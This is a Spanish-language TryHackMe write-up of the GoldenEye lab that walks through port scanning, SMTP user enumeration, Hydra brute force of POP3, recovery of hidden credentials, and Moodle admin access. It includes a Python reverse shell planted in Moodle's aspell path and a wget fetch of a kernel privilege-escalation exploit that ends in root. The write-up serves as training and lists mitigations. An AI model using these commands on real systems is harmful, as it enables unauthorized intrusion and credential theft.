GoldenEye - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
GoldenEye - TryHackMe Walkthrough
Bienvenido a mi writeup de GoldenEye de TryHackMe. Una room temática inspirada en la película de James Bond donde la cadena de ataque encadena muchas fases: credenciales ocultas en JavaScript, enumeración y bruteforce de correos electrónicos, credenciales enterradas en metadatos de una imagen y acceso a una plataforma Moodle para conseguir RCE. La escalada de privilegios llega por un exploit de kernel.
Room: GoldenEye
Dificultad: Easy
OS: Linux
Objetivo: Capturar la flag de root
🎯 Información del Objetivo
IP Target: 10.113.170.255
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Verifico que la máquina está activa:
ping -c1 10.113.170.255-c1→ Envía solo 1 paquete ICMP y para
64 bytes from 10.113.170.255: icmp_seq=1 ttl=62 time=49.8 ms
TTL de 62, lo que indica que posiblemente estoy ante una máquina Linux.
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
Escaneo de Puertos
Comienzo con un escaneo amplio para descubrir puertos abiertos:
nmap -p- --open --min-rate 5000 -sS -n -Pn 10.113.170.255-p-→ Escanea los 65535 puertos--open→ Muestra solo puertos abiertos--min-rate 5000→ Mínimo 5000 paquetes por segundo-sS→ SYN scan (stealth)-n→ Sin resolución DNS-Pn→ Sin ping previo, trata el host como activo
PORT STATE SERVICE 25/tcp open smtp 80/tcp open http 55006/tcp open unknown 55007/tcp open unknown
Cuatro puertos abiertos. Los puertos 55006 y 55007 están fuera de lo común.
Con los puertos identificados hago un escaneo más detallado:
nmap -p25,80,55006,55007 -sVC 10.113.170.255-sC→ Scripts NSE por defecto-sV→ Detección de versiones
25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: GoldenEye Primary Admin Server 55006/tcp open ssl/pop3 Dovecot pop3d 55007/tcp open pop3 Dovecot pop3d
El mapa de servicios queda así:
- Puerto 25 → SMTP (Postfix)
- Puerto 80 → HTTP (Apache 2.4.7)
- Puerto 55006 → POP3 sobre SSL (Dovecot)
- Puerto 55007 → POP3 sin SSL (Dovecot)
Identifico que hay servicios de correo expuestos en los puertos raros observados previamente. Esto es extraño, porque los puertos estándar para POP3 suelen ser 995 y 110 respectivamente.
Comienzo a enumerar por el HTTP.
📁 Fase 2: Enumeración Web
Página Principal y terminal.js
Al acceder al sitio veo un texto animado que se escribe en pantalla indicando que debo navegar a /sev-home/ para iniciar sesión.

Exploro pero no encuentro contenido relevante a simple vista en el HTML, ni robots.txt, ni cookies.
Reviso el código fuente de la página y encuentro que el texto lo genera un script llamado terminal.js.
Abro terminal.js directamente en http://10.113.170.255/terminal.js y encuentro un comentario muy interesante:

El comentario menciona que el usuario Boris debería de actualizar la contraseña y la muestra codificada.
La cadena de caracteres In... me recuerda a HTML, aunque no estoy del todo seguro.
Uso CyberChef con el módulo Magic para que lo identifique automáticamente:

Efectivamente, es HTML Entity encoding. La contraseña es InvincibleHack3r.
Ya tengo una contraseña de un posible usuario Boris. Recuerdo que la página principal mencionaba que hay un login en /sev-home/
Esta ruta la protege un login HTTP. Intento acceder con Boris:InvincibleHack3r — no funciona. Pruebo con el usuario en minúsculas, boris, y esta vez sí entro.

Dentro del panel, el texto menciona dos cosas importantes:
- Para ser Administrador del sistema hay que contactar por correo a un supervisor GNO.
- El servicio POP3 está configurado en un puerto no estándar porque la "seguridad por oscuridad" es muy efectiva.
Esta seguridad es tan efectiva que ese puerto ya lo encontré en el escaneo inicial de nmap: 55006 y 55007.
Reviso el código fuente de esta página y encuentro otro comentario:
<!-- Qualified GoldenEye Network Operator Supervisors: Natalya, Boris -->Los supervisores cualificados son Natalya y Boris. Teóricamente tengo las claves de Boris, pero no tengo ninguna de sus direcciones de correo.
📁 Fase 3: Enumeración de Correo
Enumeración SMTP
Me conecto al servidor SMTP en el puerto 25 para intentar enumerar usuarios:
nc 10.113.170.255 25220 ubuntu GoldentEye SMTP Electronic-Mail agent
El banner menciona el hostname ubuntu y GoldentEye — posiblemente el dominio sea goldeneye.
Intento verificar si los usuarios existen con el comando VRFY:

Ambos usuarios existen en el sistema. Intento enviar un correo a natalya@goldeneye, pero el servidor rechaza el relay — no puedo enviar correos externos desde aquí.
Cambio de enfoque: tengo POP3 accesible. Si bruteforzo las contraseñas, podría leer sus buzones directamente.
Bruteforce POP3 — Boris
hydra -l boris -P /usr/share/wordlists/fasttrack.txt 10.113.170.255 -s 55007 pop3 -f -t 64-l boris→ Usuario objetivo-P→ Diccionario de contraseñas-s 55007→ Puerto no estándar-f→ Para en el primer éxito-t 64→ 64 hilos
[55007][pop3] host: 10.113.170.255 login: boris password: secret1!
Hydra encuentra la contraseña de boris. Me conecto al buzón de boris por POP3 y leo sus correos:
nc 10.113.170.255 55007
USER boris
PASS secret1!Estoy logeado como usuario Boris. Ahora puedo enumerar el total de correos con STAT y leer cada uno de ellos con RETR seguido de su ID.
STATObservo que hay 3 correos:
RETR 1+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id D9E47454B1
for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
. RETR 2+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id D9E47454B1
for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
. RETR 3+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id 4B9F4454B1
for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....
PS - Keep security tight or we will be compromised.
.Los más relevantes revelan usuarios con sus dominios:
natalya@ubuntualec@janus.bossroot@127.0.0.1.goldeneye
El correo de alec@janus.boss menciona a una persona llamada Xenia y un sitio de entrenamiento. Anoto los datos y sigo.
Bruteforce POP3 — Natalya
Repito el bruteforce con Natalya:
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt 10.113.170.255 -s 55007 pop3 -f -t 64[55007][pop3] host: 10.113.170.255 login: natalya password: bird
También obtengo sus credenciales.
Leo los correos de Natalya al igual que hice con Boris. Esta vez hay unicamente 2 correos:
RETR 1+OK 631 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id D5EDA454B1
for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
Message-Id: <20180425024542.D5EDA454B1@ubuntu>
Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
From: root@ubuntu
Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.
Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
.RETR 2+OK 1048 octets
Return-Path: <root@ubuntu>
X-Original-To: natalya
Delivered-To: natalya@ubuntu
Received: from root (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id 17C96454B1
for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
Message-Id: <20180425031956.17C96454B1@ubuntu>
Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
From: root@ubuntu
Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)
Ok, user creds are:
username: xenia
password: RCP90rulez!
Boris verified her as a valid contractor so just create the account ok?
And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
**Make sure to edit your host file since you usually work remote off-network....
Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.
.El segundo es el más interesante — contiene credenciales para la plataforma de entrenamiento e instrucciones de cómo acceder.
Sigo las instrucciones actualizando /etc/hosts:
echo "10.113.170.255 severnaya-station.com" >> /etc/hosts📁 Fase 4: Enumeración en Moodle
Acceso como Xenia
Al navegar a http://severnaya-station.com/gnocertdir/ encuentro una instancia Moodle.
Intento primero con las credenciales del correo para usuarios Boris y Natalya — ninguna funciona en Moodle.
Entro con las credenciales de xenia obtenidas en el correo hacia Natalya:

Exploro la plataforma y encuentro mensajes en los foros. Veo una participación del usuario Dr Doak (ID de usuario 5).
También identifico a Boris G (ID 3) y al Admin (ID 2).

El mensaje de Dr Doak hacia Xenia me revela su nombre de usuario.
Sabiendo su usuario, probablemente tenga también cuenta en el servidor de correo. Voy a intentar acceder a su buzón de correo haciendo bruteforce:
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 10.113.170.255 -s 55007 pop3 -f -t 64[55007][pop3] host: 10.113.170.255 login: doak password: goat
Obtengo acceso. Listo sus correos y encuentro que unicamente tiene uno. Es un mensaje de doak para sí mismo:

Acceso como dr_doak
Me autentíco en Moodle con dr_doak:4England! y comienzo a explorar.
Exploro sus archivos privados y encuentro una carpeta llamada "for james" con un archivo s3cret.txt.
Me lo descargo y consulto su contenido:

Es un mensaje secreto para mi, donde me indican que hay algo valioso en /dir007key/for-007.jpg
Accedo a http://severnaya-station.com/dir007key/for-007.jpg y veo una imagen que no aporta mucho valor a primera vista.

El archivo s3cret.txt menciona que las credenciales no están visibles como texto en la web — posiblemente estén ocultas dentro de la imagen.
Me descargo la imagen y consulto sus metadatos con exiftool:
exiftool -a -u -g1 for-007.jpg-a→ Muestra tags duplicados-u→ Muestra también tags desconocidos-g1→ Agrupa por familia de metadatos

Dentro del grupo IFD0 hay un campo Image Description con una cadena que parece base64.
Lo decodifico con CyberChef y obtengo: xWinter1995x!

No sé de que son estas credenciales exactamente. Las pruebo en Moodle y funciona. Tengo acceso a la cuenta Administrador.
🚀 Fase 5: Explotación — RCE via Aspell en Moodle
Con acceso de administrador en Moodle, busco un vector de ejecución de código. La room sugiere explorar la configuración del corrector ortográfico aspell.
En Site Administration → Server → System Paths encuentro que el path del ejecutable de aspell es editable.
El valor actual es un one-liner de shell que ya había sido configurado por alguien. Lo sustituyo por una reverse shell en Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'Reverse shell en Python que conecta de vuelta a nuestra máquina cuando aspell
es invocado

Después voy a Plugins → Text editors → TinyMCE y activo aspell como corrector ortográfico predeterminado.

Me pongo en escucha:
nc -nlvp 4444Desde Moodle me voy a un foro e intento escribir con el editor de texto y hago clic en el botón de comprobar ortografía. El servidor invoca aspell, que ejecuta mi reverse shell.
Recibo la conexión.
Estoy dentro como www-data.
Realizo tratamiendo de la TTY:
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm⬆️ Fase 6: Escalada de Privilegios — Exploit de Kernel
Comienzo enumerando el sistema para encontrar vías de escalada. Compruebo la versión del kernel:
uname -r3.13.0-32-generic
Kernel 3.13.0-32 — una versión muy antigua. Busco en exploit-db:
searchsploit linux kernel 3.13Búsqueda de exploits locales para este kernel
Encuentro el exploit 37292 — una escalada de privilegios via overlayfs para kernels Linux < 3.19. Lo descargo:
searchsploit -m 37292.c-m→ Descarga el exploit en el directorio actual
Ahora necesito mover el script a la máquina victima y compilarlo. En mi máquina levanto un servidor HTTP para que la máquina víctima se conecte y lo descarge:
python3 -m http.server 8000En la shell de la víctima descargo el exploit:
wget http://192.168.230.132:8000/37292.cUna vez tengo el archivo, tengo que compilarlo para que sea ejecutbale. Intento compilarlo con gcc pero no está instalado en la máquina víctima.
Pruebo con la alternativa clang:
clang 37292.c -o exploitClang compila el archivo correctamente. Le doy permisos de ejecución y lo ejecuto:
chmod +x exploit && ./exploitAparece un error relacionado con gcc — el propio exploit llama a gcc internamente en su código pero recuerdo que la máquina no tiene esta herramienta instalada. Edito el archivo y sustituyo todas las referencias de gcc por clang.
Vuelvo a compilar y ejecutar.
Esta vez, de forma casi instantánea, se abre una bash como root.
🚩 Flag
Voy al directorio /root/ donde siempre suele estar la flag. A primera vista parece vacío, pero listo también archivos ocultos:
ls -la /root/Y encuentro que hay un archivo oculto: .flag.txt.
Muestro su contenido y ahí tengo la flag.
🚩 Flag capturada!
📊 Resumen
Cadena de Ataque
Nmap → HTTP (80) + SMTP (25) + POP3 (55006/55007) → terminal.js → HTML entities → boris:InvincibleHack3r → /sev-home/ → fuente: Natalya y Boris son supervisores → SMTP VRFY → usuarios confirmados → Hydra POP3 boris → secret1! → emails boris → usuarios y dominios → Hydra POP3 natalya → bird → email con xenia:RCP90rulez! + URL → /etc/hosts → Moodle como xenia → Dr Doak (ID 5) → Hydra POP3 doak → goat → email dr_doak:4England! → Moodle dr_doak → s3cret.txt → /dir007key/for-007.jpg → exiftool → base64 → xWinter1995x! → Admin Moodle → aspell path → reverse shell → www-data → kernel 3.13.0-32 → overlayfs exploit (37292) → gcc→clang → root → /root/.flag.txt
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y servicios
- netcat — Conexión manual a SMTP y POP3
- Hydra — Bruteforce de credenciales POP3
- CyberChef — Decodificación de HTML entities y base64
- exiftool — Extracción de metadatos de imagen
- searchsploit — Búsqueda y descarga del exploit de kernel
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| Contraseña codificada en JavaScript público | CRÍTICA | Nunca incluir credenciales en código del lado del cliente |
| SMTP con VRFY habilitado (enumeración de usuarios) | MEDIA | Deshabilitar el comando VRFY en la configuración de Postfix |
| Contraseñas débiles en POP3 (secret1!, bird, goat) | ALTA | Política de contraseñas robustas y autenticación multifactor |
| Credenciales transmitidas en texto plano por email | ALTA | Nunca enviar credenciales por correo; usar canales seguros y cifrados |
| Credenciales de admin ocultas en metadatos de imagen | ALTA | Limpiar metadatos de archivos antes de publicarlos; no almacenar credenciales en imágenes |
| Path de aspell editable por admin en Moodle | ALTA | Actualizar Moodle a versión moderna; limitar qué rutas de sistema pueden configurarse |
| Kernel 3.13.0-32 sin parchear (overlayfs LPE) | CRÍTICA | Actualizar el kernel del sistema operativo a una versión con soporte activo |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.